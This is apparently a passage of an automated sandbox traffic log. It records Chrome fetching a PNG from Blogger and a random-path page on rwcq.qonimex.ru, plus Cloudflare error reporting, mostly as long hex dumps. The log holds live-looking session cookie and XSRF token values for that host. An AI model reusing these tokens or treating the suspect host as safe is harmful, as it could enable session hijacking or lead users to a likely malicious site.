2024-11-26 05:40:55 UTC	1390	IN	Data Raw: 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 f0 d8 bb 9f 10 39 cf fb 80 e3 cf fb 67 fe ac 64 cb 76 40 71 da 83 9c 3f 26 14 c9 92 bd 4a 23 0c b1 72 68 c8 b1 e9 a1 89 43 b1 8a 88 15 50 a1 31 24 84 1a 92 42 08 3d e4 90 1c da a2 50 30 54 04 51 19 23 27 a7 96 d2 43 88 09 c6 2d c1 c1 5e 6b ad f5 21 b4 49 ab 43 53 67 a1 5a 39 52 b5 ab dd d9 e9 61 e3 ad ab 3f bb 3b b3 b3 fb 7b 9f 99 cf e7 60 76 77 e6 7d fd bb 8d c7 cf f7 7d 1e 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 Data Ascii: @13\|3@13\|3@9gdv@q?&J#rhCP1$B=P0TQ#'C-^k!ICSgZ9Ra?;{`vw}}&
2024-11-26 05:40:55 UTC	1390	IN	Data Raw: 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 Data Ascii: &`b>&`b>&`b>&`b>&`b>&`b>&`b>&`b>&`b>&`b>
2024-11-26 05:40:55 UTC	1390	IN	Data Raw: e3 c3 e7 3a 00 64 ac 28 52 d7 53 77 00 00 00 00 00 30 a9 ba ed ba 70 78 0f 00 8c 0b 31 1f 00 64 ac db aa 4b df d1 01 00 00 00 00 60 52 95 45 d1 6d 79 ec 1f 00 c6 84 98 0f 00 72 55 55 0e d8 05 00 00 00 00 80 49 d7 6e 55 55 65 e9 1f 00 c6 81 4f 74 00 c8 55 57 c9 07 00 00 00 00 00 58 32 00 80 71 21 e6 03 80 2c b5 ea b2 f6 98 1d 00 00 00 00 00 90 52 5d 95 ad da aa 01 00 64 cf c7 39 00 64 a9 d3 aa a3 47 00 00 00 00 00 00 9a c2 c2 01 00 8c 01 31 1f 00 e4 a7 55 57 55 59 44 4f 01 00 00 00 00 00 34 45 55 16 ad da 61 bb 00 90 37 31 1f 00 e4 a7 d3 f2 6d 1c 00 00 00 00 00 f8 7f 2c 1f 00 40 ee c4 7c 00 90 99 ba 2a 6d cb 07 00 00 00 00 00 dc a2 2a 8b ba d2 00 00 40 c6 7c 90 03 40 66 3c 57 07 00 00 00 00 00 dc 91 45 04 00 c8 9a 98 0f 00 72 52 7a a8 0e 00 00 00 00 00 b8 Data Ascii: :d(RSw0px1dK`REmyrUUInUUeOtUWX2q!,R]d9dG1UWUYDO4EUa71m,@\|m@\|@f<WErRz
2024-11-26 05:40:55 UTC	1390	IN	Data Raw: 64 3a 7a 0a 00 00 00 00 00 00 00 9a 4e cc 07 00 64 23 c7 92 af 73 e2 54 f4 14 00 00 00 00 00 00 00 64 40 cc 07 00 e4 41 c9 07 00 00 00 00 00 00 c0 18 13 f3 01 00 19 50 f2 01 00 00 00 00 00 00 30 de c4 7c 00 40 d3 ad cc ce 28 f9 00 00 00 00 00 00 00 18 6f 75 f4 00 00 00 9b b8 f2 d5 d3 3b 77 f3 ee f4 b1 b5 1f da 47 a6 d7 7e b8 39 3b 93 52 5a 9c 79 75 b8 1b 2a f9 00 00 00 00 00 00 00 18 82 98 0f 00 68 b4 5f 3f fb a5 91 df b3 3b 7d 6c ea c4 a9 94 52 fd 6e c0 f7 5e 9d 94 52 4a f7 a6 94 52 5a 3a 7f 36 a5 b4 f5 7d 01 95 7c 00 00 00 00 00 00 00 0c a7 58 b8 b6 18 3d 03 00 b0 89 fb f6 76 a2 47 88 b1 74 fe ec 08 0f d8 5d 6b f8 ee 18 f0 8d 64 12 25 1f 00 00 00 00 00 8d 72 f5 fa 52 f4 08 00 c0 00 c4 7c 00 90 81 89 8d f9 e6 3f 7d 6c 24 f7 d9 4e c6 f7 5e 1b 24 7d 4a 3e Data Ascii: d:zNd#sTd@AP0\|@(ou;wG~9;RZyu*h_?;}lRn^RJRZ:6}\|X=vGt]kd%rR\|?}l$N^$}J>
2024-11-26 05:40:55 UTC	1390	IN	Data Raw: ae 1f 7b 7c fe 33 2f 2f ef bd fd a5 86 6c ce 37 dc 19 bb 8f 3d 54 8f 7c 12 00 00 00 00 00 00 00 f2 22 e6 03 00 1a a4 78 e0 f1 bb bd 74 cb d1 ba b7 78 e5 ed 37 cf cd bd b8 33 43 6d d5 ec e5 de 70 67 ec 1e 7e a8 18 f9 30 00 00 00 00 00 00 00 e4 45 cc 07 00 34 c8 dd 4e da dd b8 e4 5b 73 e6 d2 85 1d 98 68 00 c3 6d cb 97 52 72 c6 2e 00 00 00 00 00 00 00 62 3e 00 a0 59 aa 0f 9d 79 ef af 97 6e 3e fc f8 fc 67 36 2d f9 d6 7c f9 c7 df dc 91 99 b6 60 e8 6d f9 8e 1e 70 c6 2e 00 00 00 00 00 00 00 62 3e 00 a0 c1 5e b8 7e ec 8b 57 0f 6e fd fd 51 87 ed ce 5e ee 7d e5 fc 8d e1 ae fd e3 4f b6 46 3b 0c 00 00 00 00 00 00 00 39 12 f3 01 00 cd b2 7e d2 ee 56 8e d6 bd dd 99 4b 17 76 bf e7 1b fa 80 dd e4 8c 5d 00 00 00 00 00 00 00 52 4a 29 39 d6 0d 00 68 9c 7f ff f0 0b 7f f3 fa Data Ascii: {\|3//l7=T\|"xtx73Cmpg~0E4N[shmRr.b>Yyn>g6-\|`mp.b>^~WnQ^}OF;9~VKv]RJ)9h
2024-11-26 05:40:55 UTC	1390	IN	Data Raw: 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 Data Ascii: @01@01@01@01@01@01@01@01@01@01

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49757	104.21.72.174	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:55 UTC	1318	OUT	GET /favicon.ico HTTP/1.1 Host: rwcq.qonimex.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rwcq.qonimex.ru/Q7boMM5R/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkFvQXdEUUFSSUNOMGN0dG9YRm4vWlE9PSIsInZhbHVlIjoiZzBuTGJMZDErckpmaG9kc1JlTURIL29nYk1mU2YzeVhubnI5S3dMZlFRQzVmTWVNMk9uT25sS0tUVm1qQmFxY2M2ckhzTWt5TzhRRUlkL2VXb0ZaQnNsY2l1cEV0SVhMMWt0RXBGMTE1MmRJdDlacUpKUzdjVjVmTGZBM0d0WW4iLCJtYWMiOiI4NmQ3NmI4ZDM1NzkyMDg4NjJkYTEwYTNkODcxMDU5ZWM3MzQ3Y2RmZGYyY2M1OWExYzQ2MDI5OWMyMmRjYjk2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlBjdE9JdzExd0RkdjNGVlNHdUVFeUE9PSIsInZhbHVlIjoiSXhFOXprbEJ3ekxhOVI1OE90OXo2TUxvQS9POGtoY0ZTSllUTm5mRWlSS0ozbHdtSWNQd3ZoTXRiTjkvR2tuNmdIbUZwV21sa0UzNkFOclVRZ1hpU0t3MkVYRW8yVWllN2ROZFdIeG1aYncvcUdFMS93c0VjSnFYNkN5VE1qcDAiLCJtYWMiOiIwMmEyNTVjOGI0NTljYjIxYzA3MTFjMGFiZGZiNWI2ZDc3M2NlN2U5NDg0MjcyM2I0NTkyM2RlMTIxZWFjOGYyIiwidGFnIjoiIn0%3D
2024-11-26 05:40:56 UTC	1023	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 05:40:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5h5URoXF%2FQpVhGOD9s4ACWXT05nmHVyKfcmFuN64JLGmfbWVzKZJnw8YEt4D79Okk4o6xaxfv1Blul0eh1xwes%2Bcyrt5u1Rydyl%2Bp7RSxbtOSXGwjgB3Vses%2BluMVw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=21435&sent=140&recv=92&lost=0&retrans=0&sent_bytes=147901&recv_bytes=16076&delivery_rate=1765046&cwnd=227&unsent_bytes=0&cid=d83fd9bd14e0b27a&ts=158357&x=0" CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 8e878be87b33427f-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1742&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1896&delivery_rate=1649717&cwnd=237&unsent_bytes=0&cid=c73ddaa162a1ec48&ts=8178&x=0"
2024-11-26 05:40:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49763	142.250.181.97	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:57 UTC	676	OUT	GET /img/b/R29vZ2xl/AVvXsEgdrhY6zM7txEf61nPO67_Cl7rOyCGsyEb9GaIEqe3M-p-yN2nJeBUGCXkDygK7t8xYVcKwSgu4v0_u6EZF5srUh16p0vNl1K8hBeBV8dg-KcOpt7y8vrkamMOU2HxW0STp0JDEp21FWuCWxDXZX0EtxoLPSBWR6WwhXZglXIvWXbh24ojuyofD6htY8D4/s3396/userinter.png HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlKHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:58 UTC	470	IN	HTTP/1.1 200 OK Content-Type: image/png Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "v367e" Expires: Wed, 27 Nov 2024 05:40:58 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="userinter.png" X-Content-Type-Options: nosniff Date: Tue, 26 Nov 2024 05:40:58 GMT Server: fife Content-Length: 87859 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-26 05:40:58 UTC	920	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 0d 44 00 00 07 80 08 02 00 00 00 33 3b 2b ce 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 20 00 49 44 41 54 78 9c ec da 21 01 00 20 00 c0 30 a0 7f 58 04 02 49 8c 0b b6 04 0f f0 b9 cf 1d 00 00 00 00 00 00 00 00 00 40 67 d5 01 00 00 00 00 00 00 00 00 00 f0 3b 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 Data Ascii: PNGIHDRD3;+sBITO_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh- IDATx! 0XI@g;3\|3@
2024-11-26 05:40:58 UTC	1390	IN	Data Raw: 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 Data Ascii: 3@13\|3@13\|3@13\|3@13\|3@13\|3
2024-11-26 05:40:58 UTC	1390	IN	Data Raw: 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 Data Ascii: 13\|3@13\|3@13\|3@13\|3@13\|3@1
2024-11-26 05:40:58 UTC	1390	IN	Data Raw: 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 Data Ascii: \|3@13\|3@13\|3@13\|3@13\|3@13\|
2024-11-26 05:40:58 UTC	1390	IN	Data Raw: 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 f0 d8 bb 9f 10 39 cf fb 80 e3 cf fb 67 fe ac 64 cb 76 40 71 da 83 9c 3f 26 14 c9 92 bd 4a 23 0c b1 72 68 c8 b1 e9 a1 89 43 b1 8a 88 15 50 a1 31 24 84 1a 92 42 08 3d e4 90 1c da a2 50 30 54 04 51 19 23 27 a7 96 d2 43 88 09 c6 2d c1 c1 5e 6b ad f5 21 b4 49 ab 43 53 67 a1 5a 39 52 b5 ab dd d9 e9 61 e3 ad ab 3f bb 3b b3 b3 fb 7b 9f 99 cf e7 60 76 77 e6 7d fd bb 8d c7 cf f7 7d 1e 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 Data Ascii: @13\|3@13\|3@9gdv@q?&J#rhCP1$B=P0TQ#'C-^k!ICSgZ9Ra?;{`vw}}&
2024-11-26 05:40:58 UTC	1390	IN	Data Raw: 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 Data Ascii: &`b>&`b>&`b>&`b>&`b>&`b>&`b>&`b>&`b>&`b>
2024-11-26 05:40:58 UTC	1390	IN	Data Raw: e3 c3 e7 3a 00 64 ac 28 52 d7 53 77 00 00 00 00 00 30 a9 ba ed ba 70 78 0f 00 8c 0b 31 1f 00 64 ac db aa 4b df d1 01 00 00 00 00 60 52 95 45 d1 6d 79 ec 1f 00 c6 84 98 0f 00 72 55 55 0e d8 05 00 00 00 00 80 49 d7 6e 55 55 65 e9 1f 00 c6 81 4f 74 00 c8 55 57 c9 07 00 00 00 00 00 58 32 00 80 71 21 e6 03 80 2c b5 ea b2 f6 98 1d 00 00 00 00 00 90 52 5d 95 ad da aa 01 00 64 cf c7 39 00 64 a9 d3 aa a3 47 00 00 00 00 00 00 9a c2 c2 01 00 8c 01 31 1f 00 e4 a7 55 57 55 59 44 4f 01 00 00 00 00 00 34 45 55 16 ad da 61 bb 00 90 37 31 1f 00 e4 a7 d3 f2 6d 1c 00 00 00 00 00 f8 7f 2c 1f 00 40 ee c4 7c 00 90 99 ba 2a 6d cb 07 00 00 00 00 00 dc a2 2a 8b ba d2 00 00 40 c6 7c 90 03 40 66 3c 57 07 00 00 00 00 00 dc 91 45 04 00 c8 9a 98 0f 00 72 52 7a a8 0e 00 00 00 00 00 b8 Data Ascii: :d(RSw0px1dK`REmyrUUInUUeOtUWX2q!,R]d9dG1UWUYDO4EUa71m,@\|m@\|@f<WErRz
2024-11-26 05:40:58 UTC	1390	IN	Data Raw: 64 3a 7a 0a 00 00 00 00 00 00 00 9a 4e cc 07 00 64 23 c7 92 af 73 e2 54 f4 14 00 00 00 00 00 00 00 64 40 cc 07 00 e4 41 c9 07 00 00 00 00 00 00 c0 18 13 f3 01 00 19 50 f2 01 00 00 00 00 00 00 30 de c4 7c 00 40 d3 ad cc ce 28 f9 00 00 00 00 00 00 00 18 6f 75 f4 00 00 00 9b b8 f2 d5 d3 3b 77 f3 ee f4 b1 b5 1f da 47 a6 d7 7e b8 39 3b 93 52 5a 9c 79 75 b8 1b 2a f9 00 00 00 00 00 00 00 18 82 98 0f 00 68 b4 5f 3f fb a5 91 df b3 3b 7d 6c ea c4 a9 94 52 fd 6e c0 f7 5e 9d 94 52 4a f7 a6 94 52 5a 3a 7f 36 a5 b4 f5 7d 01 95 7c 00 00 00 00 00 00 00 0c a7 58 b8 b6 18 3d 03 00 b0 89 fb f6 76 a2 47 88 b1 74 fe ec 08 0f d8 5d 6b f8 ee 18 f0 8d 64 12 25 1f 00 00 00 00 00 8d 72 f5 fa 52 f4 08 00 c0 00 c4 7c 00 90 81 89 8d f9 e6 3f 7d 6c 24 f7 d9 4e c6 f7 5e 1b 24 7d 4a 3e Data Ascii: d:zNd#sTd@AP0\|@(ou;wG~9;RZyu*h_?;}lRn^RJRZ:6}\|X=vGt]kd%rR\|?}l$N^$}J>
2024-11-26 05:40:58 UTC	1390	IN	Data Raw: ae 1f 7b 7c fe 33 2f 2f ef bd fd a5 86 6c ce 37 dc 19 bb 8f 3d 54 8f 7c 12 00 00 00 00 00 00 00 f2 22 e6 03 00 1a a4 78 e0 f1 bb bd 74 cb d1 ba b7 78 e5 ed 37 cf cd bd b8 33 43 6d d5 ec e5 de 70 67 ec 1e 7e a8 18 f9 30 00 00 00 00 00 00 00 e4 45 cc 07 00 34 c8 dd 4e da dd b8 e4 5b 73 e6 d2 85 1d 98 68 00 c3 6d cb 97 52 72 c6 2e 00 00 00 00 00 00 00 62 3e 00 a0 59 aa 0f 9d 79 ef af 97 6e 3e fc f8 fc 67 36 2d f9 d6 7c f9 c7 df dc 91 99 b6 60 e8 6d f9 8e 1e 70 c6 2e 00 00 00 00 00 00 00 62 3e 00 a0 c1 5e b8 7e ec 8b 57 0f 6e fd fd 51 87 ed ce 5e ee 7d e5 fc 8d e1 ae fd e3 4f b6 46 3b 0c 00 00 00 00 00 00 00 39 12 f3 01 00 cd b2 7e d2 ee 56 8e d6 bd dd 99 4b 17 76 bf e7 1b fa 80 dd e4 8c 5d 00 00 00 00 00 00 00 52 4a 29 39 d6 0d 00 68 9c 7f ff f0 0b 7f f3 fa Data Ascii: {\|3//l7=T\|"xtx73Cmpg~0E4N[shmRr.b>Yyn>g6-\|`mp.b>^~WnQ^}OF;9~VKv]RJ)9h
2024-11-26 05:40:58 UTC	1390	IN	Data Raw: 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 Data Ascii: @01@01@01@01@01@01@01@01@01@01

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49764	35.190.80.1	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:57 UTC	536	OUT	OPTIONS /report/v4?s=5h5URoXF%2FQpVhGOD9s4ACWXT05nmHVyKfcmFuN64JLGmfbWVzKZJnw8YEt4D79Okk4o6xaxfv1Blul0eh1xwes%2Bcyrt5u1Rydyl%2Bp7RSxbtOSXGwjgB3Vses%2BluMVw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://rwcq.qonimex.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:58 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Tue, 26 Nov 2024 05:40:57 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49765	35.190.80.1	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:59 UTC	478	OUT	POST /report/v4?s=5h5URoXF%2FQpVhGOD9s4ACWXT05nmHVyKfcmFuN64JLGmfbWVzKZJnw8YEt4D79Okk4o6xaxfv1Blul0eh1xwes%2Bcyrt5u1Rydyl%2Bp7RSxbtOSXGwjgB3Vses%2BluMVw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 429 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:59 UTC	429	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 38 33 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 72 77 63 71 2e 71 6f 6e 69 6d 65 78 2e 72 75 2f 51 37 62 6f 4d 4d 35 52 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 37 32 2e 31 37 34 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 Data Ascii: 